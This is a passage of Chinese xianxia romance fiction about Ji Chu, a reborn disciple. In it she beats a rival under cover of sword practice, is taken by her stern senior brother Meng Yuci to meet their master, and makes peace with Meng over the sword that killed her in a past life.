孟喻辞说要来“旁听”纪楚上课的时候,徐长老在心里冷笑一声,直道“果然如此,一问孩子学习就漠不关心,一说孩子吃亏就着急忙慌”。 现在知道着急了? 他着急了这些日子,有谁懂他的不易? 这孟喻辞,在外是高不可攀的剑君,其实就是个不负责任的“长辈”! 孩子让他“扶养”真是白瞎了! 徐长老已经全然忘记了孟喻辞只是纪楚名义上的师兄,只当他是一个忽略孩子教育的“失职长辈”,“哼”了一声,引着孟喻辞到一群练剑的小弟子周围。 他一展广袖,负手摆出“教习长老”的架子: “先说好,让你来旁听都是破例的,有什么事情全都下课再说,不许打扰其他弟子上课!” 孟喻辞看向纪楚的方向。 他听说“纪楚被打”的时候,虽然觉得八成是徐长老夸大其词,但还是担心她吃亏。 毕竟她那日冲他发了通火,看着确实心情不好的模样,若是言语急切惹了是非,也不是没可能。 谁料今日这么一来,他果然看见纪楚在打架。 只不过,并非是“纪楚被打”,而是她在打别人。 薛羡尘一身红衣确实耀眼夺目,离很远也能一眼看见,那个面若好女的薛家小公子此刻哪里还有半点往日的优雅贵气,发髻凌乱,衣衫豁口,正被纪楚用剑压着狂揍。 纪楚假借练剑之名,实则根本没用什么剑法,纯纯靠着蛮力,每一次出手都实实在在落在薛羡尘身上。 打完还要假惺惺说一句: “啊,对不起,这一招我还是用不好,再试一次吧!” 薛羡尘因承诺了要帮纪楚练剑,早早便收了武器,此刻赤手空拳,又碍于面子不能反击,简直有口难言,还得假装无事发生,忍着痛道: “不妨事,你尽管来就是,我说好了要帮你,就一定帮、到、底。” 最后几个字像是从牙缝中挤出来的。 纪楚甜甜一笑: “多谢薛公子,那我再试一次。” 说完收起笑,下一招又打得更狠,纵使隔着剑鞘,依然在薛羡尘手臂上打出一道见血的棱子。 早过了下课时间,纪楚和薛羡尘两个却全然没有停下来的意思。 看在外人眼里,关系十分亲近。 “纪楚。” 一道低沉清冷的声音自背后传来,打断了纪楚挥剑的动作。 她诧异回头,这才看见站在徐长老身边的师兄。 孟喻辞目光沉静,显然已经将她“假借练剑之名打人”的全过程看了个清清楚楚。 干坏事被师兄撞上,纪楚第一反应就是心虚,下意识将手里的剑背到身后。 但下一刻,她又觉得自己没必要如此。 重生回来,她不但踹过师兄的门,还痛骂过师兄一顿,若师兄真要用宗门律法罚她,打一个薛羡尘又算的了什么? 于是她又把回剑放到了身侧,一脸“我在练剑”的坦荡姿态。 孟喻辞看着她把剑拿来拿去的动作,没有说话。 徐长老沉着脸问道: “你们这是在做什么?” 纪楚正想说话,薛羡尘上前一步,抢在她前面道: “回禀长老,我和阿楚在练剑。” 纪楚闻言面露诧异,下意识看向薛羡尘。 对方被她用剑鞘打得十分狼狈,露在外面的皮肤上带着斑驳的血印子,红衣衬托下,白皙的脖颈上交错的鲜红剑痕触目惊心。 徐长老疑惑:“练剑怎练出这一身的伤?” 薛羡尘抬手摸了下脖颈,指腹擦出一片血红,不以为然道: “是我不小心,没能躲开,不干阿楚的事。” 说完,他像是浑然不觉痛似的,甚至还回以纪楚亲昵一笑: “不是吗?阿楚?” 纪楚一愣,也顾不上称呼的事,点头道: “啊……是。” 薛羡尘于是唇边笑意更深。 一对儿年轻漂亮的少年少女“眉来眼去”,方才还打得不可开交,当着他的面却一口咬死“正常练剑”。 徐长老明知事有蹊跷,却也不好没事找事,只得说了句: “下次小心。” 自叫出纪楚名字后便一直未表态的孟喻辞此刻才开口,缓缓念出两个字: “阿楚?” 纪楚没想到师兄不说她打人的事,却单揪住这个称呼询问,几乎是下意识开口解释: “没别的意思,他叫着玩的。” 薛羡尘一句“我们关系好”便被她堵了回去,嗔怪地看了纪楚一眼,重复她的话: “阿楚说的没错,我只是……叫着玩。” 纪楚原本急匆匆解释就已经显得有些奇怪了,薛羡尘偏又用暧昧不明的语气重复了一遍,语调轻而上扬,还带着点笑,平白给“阿楚”这个称呼增加了几分不同寻常的意味。 纪楚被他古怪的语气说的直皱眉头: “你能不能正常说话?什么语气啊,恶心死了。” 薛羡尘被她拆台,脸色有些僵硬。 听见纪楚的话,孟喻辞原本还有些冷淡的表情反倒松了几分,虽还是一副淡然模样,却能明显让人感觉到他心情尚可。 他冲徐长老颔首,对纪楚道: “你跟我来。” 纪楚虽在心里下定决心要远离师兄,但当着徐长老和其他弟子的面,她也不能直接扭头就走。 于是她只得向徐长老告别,而后跟着师兄离开。 走了许久,孟喻辞一直没有开口说话,纪楚便跟在他身后两步远的地方,小心地算计着步幅,避免自己一不留神离师兄太近。 她同时在心里盘算:自打上次踹完门后师兄就一直没来找她,今天忽然出现,还单独把她叫走,难道是终于闲下来,开始找她算账了吗? “以下犯上不敬师长”是什么罪来着?扣贡献分吗?扣完还够一千分吗?她还得留着分参加问仙大会呢! 不对,师兄总不会打算滥用私刑,把她拐到无人处直接杀了泄愤吧? …… 她心里越想越乱,到底是耐性差了一招,忍不住率先开口道: “那天是我冒犯了师兄,师兄若想罚我,我没什么好说的。” “但我已经和师兄说清楚了,我不需要师兄可怜我。既然师兄已经助我修复好了经脉,破开结界的恩情便算彻底结了。” “我本来也只是挂名在掌门名下,和师兄自然没什么交情,师兄也不必再格外关心我,只当普通师兄妹就好,陌路人也不是不行……” 身后跟着的人一直叭叭叭说个不停,简直比徐长老还能念叨。 说的话也不是什么他爱听的,孟喻辞听得烦躁,于是停下步子,转身想训斥她几句。 谁知这一动作反而吓了纪楚一跳。 她一门心思沉浸在论证“两人关系一般”上,猝不及防见他停下,险些收不住步子撞上去。 只得情急之下被迫来了个大拐弯,一步越过师兄,擦着他的手臂迈到了他身 侧。 又因为不想碰到师兄,整个人在擦肩而过的同时匆忙朝左躲避,右腿却还是不可避免的蹭到了师兄,于是她又着急忙慌地收腿压膝盖…… 这一连套动作下来,纪楚果不其然失去了平衡,左摇右晃狼狈不堪。 摔倒的前一刻,她在摔在师兄身上和摔在地上选择了后者,以一副“没办法了就这样吧”的心态,朝着师兄身侧的地面扑去。 一只手及时出现,几乎是毫不犹豫地捏住她后颈和衣领,随后像提一只小猫小狗小兔子那样,将四肢缠成一团的纪楚提了起来。 双脚离地,纪楚的脑子短暂停工。 孟喻辞单手将险些摔倒的纪楚提离了地面,微微抖了抖,将她打结的四肢抖落开,又放了下去。 纪楚:“……” 让我死,就现在! 孟喻辞真心不理解: “走个路也能摔?” 想要训斥她的心便也顿时散了。 见纪楚的头都快要埋到地上去,意识到她是觉得丢人了,孟喻辞不免又觉得好笑: “方才不是还说同我没什么交情。既是陌路人,又何必害怕在我面前丢人呢?” 纪楚垂着头,摇头,一副抵死不从模样。 方才说的义正辞严侃侃而谈,简直是一场酣畅淋漓、堪称完美的“谈判论辩”。 可惜现在这么一摔,又被师兄十分不优雅地悬空提起来,自己成熟理智深思熟虑的形象全无。 她已经没脸再认刚刚那番话了,只想赶紧从这个世界上、尤其是师兄面前——消失! 第24章 消失是不可能消失的。 纪楚既不会隐身术,也不会遁地术,只能老老实实站在师兄面前,被迫面对这个让她丢了大脸的世界,和师兄。 反正想说的话该说的话都说完了,她也没什么好顾虑的了。 纪楚对自己点点头,勇敢把头抬起来,一脸严肃地看向师兄,努力维持着“我不觉得丢人就不丢人”的坦然表情: “谢谢师兄救我。” 她这副故作坚强的样子也实在有点好笑。 孟喻辞忍俊不禁,本该“体贴”地将此事翻过不提,偏又不知怎的,张口却是一句挤兑: “不必言谢,陌路人摔倒也得救一救的。” 纪楚:“……” 她努力维持的坚强人设轰然崩塌。 她错了,她真的错了,她从一开始就不该跟过来,跟过来也不该耐不住性子先把真心话都说出来,更不该走路不认真说着说着摔一跤,把自己的脸和尊严一起摔到地上,还是师兄面前的地上。 更可恶的是……师兄是在嘲笑她吗? 他怎么能嘲笑她? 他凭什么嘲笑她? 他上辈子都不会这么嘲笑她! 纪楚用一脸信任被辜负的表情瞪着师兄,越想越气,越气越恼,最后整张脸都鼓了起来,仿佛轻轻一戳就会漏气飞走的球,连眼眶都恼红了。 孟喻辞亲眼看着她的脸一点点鼓起来,嘴撅的老高,竟能被他一句调侃气成如此模样,心里委实有几分惊叹。 既惊叹于纪楚的模样,也惊叹于自己好端端的,却起了如此恶劣的心思,把孩子气成这样。 孟喻辞惊叹之余又仔细想了想,自己之所以会说出这句话,或许因为是生气她那一番无端的指责和揣测,以及一言不合就要和他“断绝关系”的态度。 又或者,是因为那句没缘由的“我讨厌你”。 当时没有发作,实则他心里还是在意的。 如今只言语挤兑她一番,已算是极为宽纵的“报复”了。 不过挤兑归挤兑,他也并没有将人气哭的乐趣。 于是他伸出手,轻轻摸了下纪楚的头发: “别气了。” 他这一哄,反而像是打破了平衡。 纪楚抽泣一声:“我和师兄不熟!师兄不要随便碰我!” 说着她又委屈起来: “我才不要师兄勉强被迫关心我,不就是结界反噬,我不在乎了,师兄也别当回事,不要再来找我了……” 落在头上的手没有一触即分,反而停在她发间,以一种恰到好处的既不让人感到压迫、又能让人感到这份关切与安抚的重量: “我没有勉强。” 孟喻辞微微俯下身,清冷双目看向她红红的眼睛,神情认真而郑重: “虽说我关心你,一开始确实有结界反噬的原因,但更多的,还是因为你是我师妹,因为你是纪楚。” 面对师兄忽然靠近的俊美容颜,纪楚一时间忘记了眨眼睛,只呆呆地望着师兄形状优美气度清寒的眼睛,黑沉冷寂的瞳孔里面倒映出她脸颊气鼓鼓还挂着眼泪的傻样。 师兄的声音也温柔得不像话: “你是个很好的孩子,很有天分的剑修,我欣赏你,珍视你,这并非是可怜你,更不是被迫关心你、施舍你。所有举动,皆出自真心。” 连着两世,这还是第一次听见师兄用这样平等的、郑重其事的态度讲述对她的看法。 纪楚愣了愣,抬手擦眼睛: “我不信。” 孟喻辞:“……” 小孩子真是太难哄了。 纪楚显然对他有成见,多说无益。 他直起身,按了下纪楚肩膀: “跟我走。” 纪楚随着他的动作抬头,仰着脸看他,颇有些傻气,仍没忘记跟他强调: “去哪儿?我现在还没有跟师兄你很熟。” 孟喻辞懒得再同她掰扯“熟不熟”的话题,只道: “师尊要见你。” 纪楚一下子回过神来,顿觉自己小人之心,赌气的不是时候。 怎么能怀疑师兄是“她不相信所以不让她走”呢? 师尊身为拂宇仙宗掌门,平时定然十分忙碌,如今点名要见她,肯定是有什么重要的事情,她实在不该在这时候跟师兄赌气,耽误师尊的时间。 于是她立马道:“既然是师尊要见我,那我们快过去吧。” 她这脸变的太快,前后态度天差地别,孟喻辞看她一眼,眼神算不上友好。 纪楚不解:“师兄?” 孟喻辞收回视线,召出少微剑。 然而纪楚却又犹豫了。 虽说面见师尊很重要,但她并不想让师兄御剑带她。 一方面是因为她和师兄还“不熟”,不愿意共乘一剑; 另一方面,是因为她看见少微剑就心口疼,最好是能不碰就不碰。 她在少微剑前磨磨蹭蹭半天不肯上去,孟喻辞也看出了她的意思: “不想让我带?” 纪楚:“……其实我御剑飞行练得也还可以,速度绝对不慢……再者说少微剑是师兄的本命剑,斩妖除魔战功赫赫,我何德何能,能踩在少微这样的名剑上头上……” 看她胡说八道地扯借口,孟喻辞简直要替她觉得心累,于是直接替她把目的说出来: “那你自己飞。” 纪楚如愿以偿,急忙召出自己的剑。 她的剑只是普通的内门弟子佩剑,在少微剑面前根本都不够看的。 但此刻纪楚踩在自己的剑上,却感到无比的安心和舒坦。 如果……师兄没有御剑跟在她身侧就更好了。 纪楚暗中叹气。 其实她没有说谎,御剑水平确实有了进步,飞的不算慢,但也实在算不上快,甚至可以说是“乱七八糟”。 速度不匀,路线不直,高度上下起伏如过高山洼地。 如果说孟喻辞在旁边飞的是平坦大道,那纪楚简直是飞的山野荒地,还是铺满不平整的大石块的那种,时不时就得磕绊一下,然后重新稳定身形调整角度。 孟喻辞全程一直关注着纪楚御剑的情况,看着看着,他的目光从平静变成费解又变成严肃和冷酷,最后又再度恢复了平静。 一开始他还想出声说点什么,可越看越觉得处处都是“骂点”,到后来索性放弃,只冷眼看着纪楚,看看这短短一截路,她到底能飞成什么样子。 两道来自师兄的堪称“可怖”的目光一直盯在纪楚脑门上,她就算是傻子也知道自己飞的稀烂,污了师兄的眼。 虽然这一世的师兄有了很多不同,但威严仍在,甚至比宗门长老还让人害怕,一个冷冰 冰的眼神就足以让纪楚心惊胆战半天。 但越紧张越容易飞歪,更何况还有个优秀卓绝且御下严厉的剑君在旁边一直一言不发地看着,纪楚简直紧张的想哭。 她实在坚持不住了,吸了口气,转头对师兄说: “我刚刚又想了想,我确实没有师兄御剑速度快。拜见师尊要紧,要不还是师兄带我飞吧?” “不急。” 孟喻辞神色淡漠,清冷的双眼望着她,里头带着点难以言说的微妙寒意,说出的话却很是平和,仿佛一点也不生气,甚至还鼓励她: “你飞得挺快,继续飞吧。” 纪楚:“……” 这分明就是生了大气啊! * 诲元仙尊确实很忙。 作为宗门掌门,他每天睁开眼就得处理宗门事务,闭上眼还得继续耳听八方,入定都不得安生。 他这些年不收徒弟,实在是因为忙不过来。独一个纪楚,也没怎么操心过。 虽说几个长老帮他分担了不少,但那也只是冰山一角,背后还有一整个“大冰洋”等着他来处理。 更有甚者,除去宗门上下时刻闹腾不休的那些琐事,还有“神骨”悬于头上,仿佛是浩劫来临前的影子,让人捉摸不清,却也不敢轻视。 他真的很累,累到连修行的时间都快没有了。 幸好还有一个好徒弟。 想到孟喻辞,诲元仙尊心里便宽慰不少。 这个徒弟虽说性情冷淡了些,杀气太重了些,但修炼之事从未让他操心,关键他还行事稳重,办事靠谱,威严十足。 自出关后,凡事不必他这个做师尊的亲力亲为,只消派孟喻辞出面,便可压住一切躁动。 上到探查神骨秘事,下到教导师弟师妹,全包全揽,无不井然有序。 诲元仙尊满意地点点头,回头就看到那个让自己十分放心的徒弟沉着脸出现在大殿内,周身带着寒意,神情凝重。 诲元仙尊顿时警觉。 能让孟喻辞露出这般严肃神情,莫不是神骨又出了什么问题? 下一刻,孟喻辞侧身让出位置,露出身后那个矮小的身影。 诲元仙尊茫然了一瞬,很快想起来这就是他那个挂名徒弟,纪楚。 不怪他没反应过来,上次在水镜中见到的纪楚尽管受了伤,人还是神采奕奕活力十足的; 此刻跟在孟喻辞身后的小姑娘却像是霜打的茄子,整个人都蔫了下去,可怜巴巴地垂着头,一脸犯错被抓的老实模样。 被她师兄提醒了一句“上前拜见师尊”,顿时浑身一激灵,着急忙慌地从师兄背后走出来,上前冲他行礼,连声音都不大有底气。 说完“弟子拜见师尊”后,一抬头,又露出一双眼眶发红如兔子的眼睛,像是哭过。 怪可怜见的。 诲元仙尊纳闷,抬手让人起来,又宽慰了一句“不必多礼,坐吧”。 随后用眼神示意孟喻辞:你训她了? 孟喻辞看了纪楚一眼,皱眉。 御剑飞行练成这狗爬模样,是个人都该羞愧难当,哪还用得着旁人训她? 更何况他该说什么?他能说什么? 自己的师妹御剑飞成这个样子,他也觉得丢人。 纪楚原本在寻摸地方落座,乍然被师兄看了一眼,顿时僵在原地不敢动了。 她在心里呐喊:我太难了! 这是她人生中飞的最痛苦的一段路,她已经尽了全力,甚至紧张得脑门冒汗。 可是落地的时候还是听见师兄冷呵一声,她心里那份侥幸顿时碎了一地。 师兄这样出了名的完美剑修,拿出这种垃圾水平到他面前,简直是自取其辱。 宗门有传言道:惹到长老们只会被骂,但惹到孟师兄…… 生、死、难、料。 虽然目前看来师兄可能没有传言这么恐怖,甚至比之前世待她温和不少,但她还是悔不当初。 是她一时间得意忘形,竟自投罗网,叫师兄瞅见她这拙劣的御剑水平不说,还敢自称“飞得还行”。 简直丢人丢到姥姥家。 纪楚心里绝望,老实巴交地站在座位旁边不敢坐。 孟喻辞看得无语,心想在他跟前犯傻也就罢了,怎的到了师尊面前还能发呆,于是催促了一句: “还不快坐。” 纪楚原本就心虚,此刻更是希望减少一下自己在师兄心里的负面形象,闻言立马“咚”得一声坐了下去。 令行禁止,看得诲元仙尊啧啧称奇—— 作者有话说:师尊:我这大徒弟带孩子真有一套啊。 师兄:师妹你是一只小河豚(bushi) 恋爱前的师兄:我没有将人惹哭的乐趣(正经jpg)。 恋爱后的师兄:(每天都惹师妹哭,惹完还得哄)。 纪楚:[摊手][摊手][摊手] 第25章 纪楚看向诲元仙尊。 这还是她第一次以弟子的身份拜见师尊。 上首仙人鹤发玉颜,面容沉肃,仙人气度令人望之敬仰,只是眉宇间萦着几分长期囿于琐事的疲惫,倒比前世惊鸿一瞥显得亲近许多。 半晌没人说话,纪楚提着的心也逐渐放松下来,悄悄问在她身边落座的师兄: “师兄,师尊怎么不说话,还看着这么累啊?” 诲元仙尊也在关注着纪楚,小小一团缩在座位上,仰着脸偷看他,一双圆溜溜的眼睛葡萄似的,甚是机灵可爱。 却也是个没什么心眼的,方才还怕孟喻辞怕的要死,这会儿就不自觉往师兄身边凑。 他看起来很累吗? 听见纪楚的话,诲元仙尊不动如山,实则在心里叹息。 果真是老了,面上的疲惫都藏不住了。 不过,他应该先开口说话吗? 这孟喻辞贸然将人带来,又把人训成委屈巴巴的样子,总不会是叫他来哄吧? 诲元仙尊目光转向孟喻辞,果然从他眼里看出了几分求助的意思。 他顿时失笑。 没想到素来冷淡自持的孟喻辞也有将人惹哭后找他求助的一天。 这可实在是稀罕。 诲元仙尊一想便知,应是结界反噬的事情叫纪楚知晓了。 他这大徒弟又是个“凶名远扬”的,只怕还没解释就将人吓得不轻。 罢了,难得这徒弟数百年来第一次有求于他,便帮他一次。 于是他开口道: “你们二人今日过来……” 孟喻辞忽然插话:“师尊。” 诲元仙尊一顿,改口道: “本尊宣你们二人今日过来,是有一桩事情要交代。” 纪楚等了半天不见师尊开口,还以为师兄骗她。没想到诲元仙尊竟真的有事交代给她,神情顿时严肃起来,目光灼灼地看向上首。 诲元仙尊对上小徒弟格外庄重的表情,立马觉得压力巨大。 他着实不太会哄孩子,毕竟孟喻辞从小到大都是个寡言冷酷的“小大人”,从来不需要人哄,宗门里其他弟子自然也不会让他去哄。 至于交代任务……他统共没见过纪楚几面,又是个玄境弟子,能有什么重要的任务交代给她? 可小徒弟现在如此期待的模样,他又不好随便扯个小事打发人,一时间竟有些骑虎难下的滋味。 都怪孟喻辞,突然闹这么一出。 诲元仙尊暗中用责怪的目光看了孟喻辞一眼,决定把这个球踢回去。于是说: “……让你师兄告诉你。” 孟喻辞:“……” 纪楚又把炯炯的目光转向他。 他对上她亮晶晶的眼睛,一时也觉得有些卡壳。 太难办的事不合适,会叫她压力过重; 太随便的事也不合适,会叫她失望,觉得自己被轻视。 最好是她本来就想做的,也可以顺道给她些支持。 顿了顿,孟喻辞淡定道: “此次问仙大会,你代表师尊和我的颜面,不可懈怠。” 纪楚闻言虎躯一震,没想到师尊如此关注问仙大会,而她前世郁郁寡欢连参 加都没参加,想必很令师尊失望。 于是她立马斗志高昂起来,不止是为了见到神骨,更是为了师尊和师兄的颜面! 纪楚握拳保证: “我一定会取得好名次,绝不叫师尊和师兄失望!” 诲元仙尊闻言,很是欣慰地点了点头。 座下弟子能有如此上进之心,是个师父都会感到宽慰。 再加上纪楚本就长的玉雪可爱,他多年不收弟子,唯一一个亲自抚养长大的弟子还是个冷漠独立不近人情的,很难满足人扶养孩子、享受天伦之乐的乐趣。 乍然见着如此一个乖巧的小徒弟,难免生出几分慈父之心。 于是诲元仙尊略一抬指,纪楚面前的桌案上便多了一碟红盈盈的果子。 孟喻辞则对纪楚的话略有怀疑。 毕竟纪楚连御剑飞行都是那个稀烂水平,再看她修为,连玄境五阶都没有,多少弟子都盼着在问仙大会上一展身手,而她连一千分都是临时凑的。 不过,既然她有心想要取得好名次,他倒是可以教上一教,反正她的剑法也多次被徐长老告状,他早不想听了,索性上手管一管。 纪楚尚不知道师兄的打算,正一脸好奇地看向面前突然出现的果子。 山楂一样的红,色泽清润诱人,看着很像喂兔子的红灵果,但是个头大一些,颜色也更浅一些。 她拿起一个试着咬了一口,顿时吃了满口清甜。 果子内有清气,咽下去后,连同浑身经脉都跟着舒爽起来。 “这是盘盘果,里面有些清气,修真界的小孩子都爱吃。” 诲元仙尊看着她吃下一个,温和问道: “喜欢吗?” “喜欢喜欢!” 纪楚觉得这果子简直太好吃了,前后加起来两辈子,她从来没吃过这么好吃的果子,十分给面子地吃了大半碟盘盘果。 看得诲元仙尊更加欣慰。 这才是养孩子该有的场景啊! 他在心里叹道。 不像孟喻辞,餐风饮露就长大了,小孩子喜欢的东西他是一点不感兴趣。 自己一开始见他一个半大个孩子,孤孤单单不爱说话,一心只知道修行,怕他走了岔路,还试图用盘盘果哄他。 没想到对方非但一脸漠然,还用一副“师尊你怎么会喜欢这些东西”的狐疑表情望着他,淡淡婉拒: “零食于修行无益”。 他自讨了个没趣,之后也就熄了把孟喻辞当孩童的心思,和他以“同龄人”的模式相处。 如今见着纪楚,才终于又找回了点迟来的“温情”,一抬手,纪楚面前又多了许多盘盘果和零食。 “谢谢师尊!” 纪楚简直跟掉进米缸里的老鼠似的,在满桌子盘盘果和没见过的好吃的面前幸福地直眯眼睛。 然而她刚拿起两个果子,还没塞到嘴里,身边就伸来一只纤长有力的手,将她面前桌子上的东西悉数“收缴”。 纪楚跟着转头,正对上师兄饱含威严的目光,脸上的喜色一下子僵住。 赶在师兄开口前,她飞快将手上仅剩的两个果子塞进嘴里。 孟喻辞阻拦她不及,面色不虞,转头对师尊道: “她修行本就不专心,师尊怎可拿这些零食乱她心思?” 诲元仙尊:“……只是些许零食,你何必如此严苛……” 孟喻辞没想到师尊在他面前素来理智稳重,换作教导纪楚,竟变得如此“溺爱”弟子,于是出言指责道: “她经脉将将修复完备,诸多灵力尚未内化,骤然吞下盘盘果的清气,一时是会觉得清爽。 “我知晓师尊关怀弟子,有多少好东西都想赐下。可她年幼无知,难戒口腹之欲,不知轻重缓急,有多少吃多少……” 纪楚被他说的羞愧地低下了头。 无法反驳,她确实打算全都吃掉…… 孟喻辞继续道: “清气吞得太多,堆积体内难以吸收,只会让她经脉再度堵塞。” 说完,他一脸严肃: “师尊既然将师妹托付弟子,弟子便得为师妹负责。还请师尊莫要擅作主张。” 自认识孟喻辞以来,便是身为师尊,也从未见过他说这么长一段话,还是因为师妹的事,一下子把诲元仙尊镇住了。 诲元仙尊:“……” 纪楚:“……” 不要啊,师尊,你快管管师兄吧!你才是师尊啊!我要吃零食! 诲元仙尊知晓孟喻辞照顾纪楚比他更细致,而他确实太忙,许多细节顾不上,别不留神把孩子养死了,索性摆手: “罢了罢了,你看着便是……” “多谢师尊。” 孟喻辞满意,再度恢复了那个寡言少语、淡漠冷酷的剑君,转头看向纪楚,一脸的“你今日别想再吃到半口”的无情模样。 纪楚“痛失所爱”,倍感“前途渺茫”,绝望地趴到了桌子上。 * 不过这么一闹,纪楚心里的委屈和愤怒倒确实缓和了不少。 或许是师尊态度和善,师兄的关切不似作伪,又或许是她感受到了真正的“师门”该有的和谐氛围,令她有些舍不得这份“可以依靠和信任”的归属感。 ——前世的她一直想有的“归属感”。 因而回去的路上,她终于不再和师兄掰扯“熟不熟”的问题,转而欢快地边走边左顾右盼。 孟喻辞看了她一眼。 纪楚说什么都不肯再御剑,非得说“一起走路可以增进同门情谊”,孟喻辞便应了。 今日已把人吓得不轻,没必要再揪住不放。 纪楚像一只离笼的小鸟,一会儿飞到左边一会儿飞到右边,快乐的有点过了头。 孟喻辞跟在她身后走了一会儿,忽然开口问道: “你还生气吗?” 纪楚本想说“不生气”,但转念一想,如此轻易原谅师兄未免宽纵了他。 毕竟前世他不由分说就杀了她,这可是大仇! 但回头对上师兄淡然平和的神情,她又觉得自己这仇记得有点没意思。 师兄根本不知道自己杀过她呢。 思来想去,纪楚站定,冲师兄伸出手,道: “不生气可以,师兄把少微剑给我。” 孟喻辞垂眸,看见她十指纤纤,掌心粉白,十分干净漂亮的一双手,未染丝毫血迹。 他没问为什么,召出少微剑放在她摊开来的手掌上。 纪楚没想到他这么干脆,本命剑都能说给就给,于是又不放心地问了一遍: “师兄真舍得给我?” “没什么舍不得的。” 孟喻辞声音淡淡,垂下的眼睫轻颤,在眼下落下一小片阴影,似蝶翼轻拢,叫人看不出他的想法。 “少微剑意为隐,其实不适合你。” 他开口,语调缓而平和: “你若需要,日后,我会再为你寻把合适的。” 他的话让纪楚不自觉生出期待。 前世她经脉滞涩,注定无法成为一个好的剑修,自卑之下自欺欺人不肯学剑,从未有过适合自己的剑,沈恪更不会专门为她寻剑。 若是换作师兄的话……会为她寻来什么样的剑? 回过神来,看到师兄仍垂眸望着她,眼里是长久不变的专注和平静。 纪楚心思一动,低头看向自己手中的少微剑。 这把杀气凛厉、剑下亡魂无数的仙剑,这把前世杀了她的森寒冷剑,此刻遵循着主人的意愿,收敛了一切锋芒和锐气,乖巧似普通器物,安静地躺在她手中。 ——仿佛随时可以被毁去。 纪楚看着剑鞘沉默片刻,而后一手握住剑柄,果断拔剑出鞘—— 作者有话说:纪楚:师尊都让我吃!师兄凭什么阻止! 师兄:是吗?(看向师尊) 师尊(心虚):……小孩子吃太多零食不好吗?为师也不太懂,还是听你师兄的吧。 第26章 宝剑 出鞘,寒光闪过,剑鸣铮然。 少微剑不负虚名,确实是一把举世无双的神兵利器。 银白剑刃薄而锋利,在阳光下泛着森然寒意,裹挟着寒风朔雪,令人见之生畏。 剑身上绘星图,银纹流光星罗棋布,太微垣西南方向,四星列南北。 剑名少微,其意为隐。 纪楚曾感受过被这把剑一剑穿心的滋味,又冷又痛,仿佛每一寸骨骼都要被冻结成冰。 此刻面对着少微剑,她的手不自觉颤抖,一瞬间仿佛又被拉到了前世死亡的那天。 师兄带着怒意的目光,还有魔王扭曲的面容,以及她在绝望中垂头,看到的染血的剑身,连剑身上流光暗转的星图都被她的血染红。 说不怕是假的。 但此刻,她握着少微剑,心中的痛和恨翻涌不休之时,师兄却正一无所知地立于她身前,垂眸静静望着她。 他不知她心中所想,不知她惨死之痛,更不知前世那些纷扰纠缠。 他坦坦荡荡,是她的师兄。 纪楚望着少微剑沉默许久,忽而一笑。 然后她将剑尖对准剑鞘,缓缓收剑入鞘。 从泛着寒意的剑尖,到冷而森然的剑身,再到银光流转的星图,包括那颗将自身隐于群星之间、锐气暗藏的少微星,一并收进不见天光的剑鞘中去。 连同她自己那些仅她一人可知的万千思绪。 纪楚收好剑,上下端详了一下,又攥起拳头,隔着剑鞘狠狠锤了几下。 剑自然是不会被她打疼的,反倒是冷硬的剑鞘把她的手砸得有点红。 纪楚一脸淡定,只当成功报复,抬手将剑还给孟喻辞,酷酷地说: “不要了,不喜欢。” 孟喻辞接过剑,感受到少微剑在剑鞘内轻微的颤动,是被主人送人后又被嫌弃退回的委屈。 纪楚还了剑便侧过身,悄悄对着自己手上被磕红的地方又吹又揉,以为他没看见,放弃了表情管理,整张脸皱成一团。 孟喻辞将她的小动作尽收眼里,心里生出几分浅浅的惊讶。 剑没什么心眼,跟着他便一味杀人,在纪楚手里转了一圈,这昔日削铁如泥千钧可抵的利刃,竟也染上了她娇气的毛病,开始朝他撒娇了。 这念头只如蜻蜓点水,在他心头一闪便消失了。 少微剑已经安静下来,纪楚也放下了手,圆溜溜的眼睛望着他,里面是些他看不懂的坚定。 “师兄,我们重新开始吧。” 她的态度太过认真,神情太过严肃,说出的话斩钉截铁,活像是在宣誓,引得孟喻辞微微抬眸,那双黑沉冷寂的眸子一颤,似水波轻摇。 纪楚:“……” 纪楚:“!” 纪楚:“不不不我不是这个意思!” 在师兄短暂的沉默后,纪楚率先意识到自己话里的歧义。 她的脸色一下子涨红起来,几乎是语无伦次地解释: “我是说以前那些不愉快啊恩情啊仇恨啊什么的,都过去了,我们重新当和睦相处的师兄妹……啊不是,虽然我们本来就是师兄妹,但是我其实是想说,我……” 头顶落下抚摸的重量,打断了她前言不搭后语的找补。 师兄摸了摸她的头发,在她看不清的角度,眼里逸出几分清浅的笑意,软化了那双长久冷寂的眸子,给他俊美精致到不近人情的五官也增添了一丝柔和。 “我知道。” 他轻轻道,语气很是宽容。 纪楚的心也跟着平静下来,感受着落在头上的触感,忍不住弯起眼睛,望着师兄的俊脸傻乐。 * 很快她就乐不出来了。 “过去两年你究竟逃了多少课,剑诀都背到狗肚子里去!” 早上还夸她“有天分”的师兄此刻态度大变,在听了她背诵的剑诀后,冷着脸斥道: “生死台上见你出剑毫无章法,还当你是自知不敌另辟蹊径,原来是根本一窍不通。难怪御剑飞成那般样子!” 纪楚被骂得缩成了一团,闻言下意识抬头,面带意外: “师兄怎么知道生死台?难道你那天也在?” 完了,那师兄岂不是看到了沈恪打她的一幕。 丢大人了…… 孟喻辞沉默几息,平息了一下情绪,并不提那些事,只道: “你才修行不久,便整日懈怠以致基础不牢,日后越往上走,只会漏洞越多,越难补救。” 纪楚忍不住狡辩: “一开始确实学不进去,但我后来有好好补了……” 师兄凉凉瞥她一眼。 纪楚立马低头说:“我错了。” 她如此听话,一副“悔不当初”模样,孟喻辞也不好再数落下去。 他将剑诀书籍合上,抬手一指院中空地。 纪楚大惊:“师兄要把我赶走吗?我回去后一定会好好背书的!师兄不要这么快就放弃我啊!” 孟喻辞原本只是随意考较,想探探她的基础,也好决定如何教她。 不料纪楚一问三不知,简直比新入门的弟子还要差劲。 如此耽误了许久时间,他再淡然的性子也已被她颠三倒四的回答气得头大。 更不知道自己在她心里到底是何等的形象,动辄便将他的言行朝“恶人”的方向理解。 他无奈道: “拿剑,练给我看。” “哦,哦……” 纪楚尬笑。 还以为师兄对她失望透顶,不打算给她补课了。 虽然她觉得这事委实不能全怪她,毕竟沈恪两世都只将她往乐修上培养,于其他课程上确实疏忽了些。 而她好久没有上课了,重生回来就算想补,一时半会儿也背不完全。 师兄抽查的猝不及防,连个复习时间都没有,她不露馅谁露馅。 但这些话她哪敢在师兄面前提,傻子都知道在师兄这种“严师”面前,老实认错、回去补上才是正道。 不过好在,剑招她可是好好努力过的,连徐长老都表示过赞许。 纪楚信心满满,自觉到了“擅长科目”。 